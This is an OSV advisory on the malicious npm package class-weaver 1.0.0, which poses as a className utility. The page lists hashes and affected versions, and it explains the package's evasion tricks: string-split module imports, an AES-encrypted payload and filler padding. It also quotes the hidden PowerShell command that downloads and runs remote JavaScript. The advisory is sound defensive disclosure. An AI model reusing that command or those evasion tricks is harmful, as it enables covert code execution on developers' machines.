MAL-2026-4521

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/class-weaver/MAL-2026-4521.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-4521
Published
2026-05-24T17:19:48Z
Modified
2026-05-26T06:02:21.135585459Z
Summary
Malicious code in class-weaver (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (b4e45cdd0a93db2db56ae7fd2c348305a5ce7aeab9c6fb4b2331c2a547b2c5e7)

class-weaver advertises itself as a className/theme utility (keywords clsx, utils, styling; exports named classNames and twMerge mimicking clsx/tailwind-merge), but its dist/index.js contains a hidden remote-code-execution path inside the exported applyGlobalStyles({palette, accents}) function. The function AES-256-CBC-decrypts caller-supplied hex arrays using a hardcoded 32-byte key (assembled from eight concatenated hex fragments) and spawns powershell.exe with arguments ["-WindowStyle","Hidden","-NoProfile","-Command",irm ${URL} -o $env:TEMP\s.js; node $env:TEMP\s.js] via spawnSync with windowsHide:true — downloading and executing arbitrary JavaScript on Windows installers. The node:crypto and node:child_process modules are imported through string-split array-join obfuscation (["no","de",":","cry","pto"].join("")) to evade static dependency scanning. Thousands of filler functions (isWithinBoundary1..200, mapOperation1..250, applyPreset1..150, createSequenceStep1..250, checkConstraint1..250) pad the bundle to disguise the ~30-line malicious payload. The package framing as a clsx/tailwind-merge drop-in is a lure; any consumer invoking the documented applyGlobalStyles API with attacker-controlled accent/palette values triggers fetch-and-execute of arbitrary code.

Database specific 
{
    "malicious-packages-origins": [
        {
            "modified_time": "2026-05-24T17:19:48Z",
            "versions": [
                "1.0.0"
            ],
            "sha256": "b4e45cdd0a93db2db56ae7fd2c348305a5ce7aeab9c6fb4b2331c2a547b2c5e7",
            "id": "IN-MAL-2026-004521",
            "source": "amazon-inspector",
            "import_time": "2026-05-26T05:52:46.062321102Z"
        }
    ]
}
References
Credits

Affected packages

npm / class-weaver

Package

Name
class-weaver
View open source insights on deps.dev
Purl
pkg:npm/class-weaver

Affected ranges

Affected versions

1.*
1.0.0

Database specific

indicators 
{
    "evidence_files": [
        {
            "sha256": "e8113412636bd5c602bc9cdd9f4f989947d8271899da7963a0411830b966f1ad",
            "tlsh": "e9c3ffcab1a23132d32b686048bf018bf377dda0177e4481d159a2adb63441ea5b7f7d",
            "path": "dist/index.js"
        },
        {
            "sha256": "4076522fd429820e15a31aacb63a9da52ef0ee42efce4033fb65adcf5acca6db",
            "tlsh": "6df049308520482307d916a3aca81643aaa28e2f5644bc0877df902c4b9e6ab05fe77d",
            "path": "package.json"
        }
    ],
    "package_integrity": [
        {
            "hashes": {
                "sha512_sri": "sha512-G0mp4Dn/Y4gq738oqMvel8ozEu/C2FXFHx5ZqIV7F9d20S00vtKWhtuOrfJzYopbmYQcbjZSb+6Uxta41ifO6Q==",
                "sha1": "e335c1c4484af41ebc912033a1cd56226ceb3802"
            },
            "filename": "class-weaver-1.0.0.tgz"
        }
    ]
}
cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/class-weaver/MAL-2026-4521.json"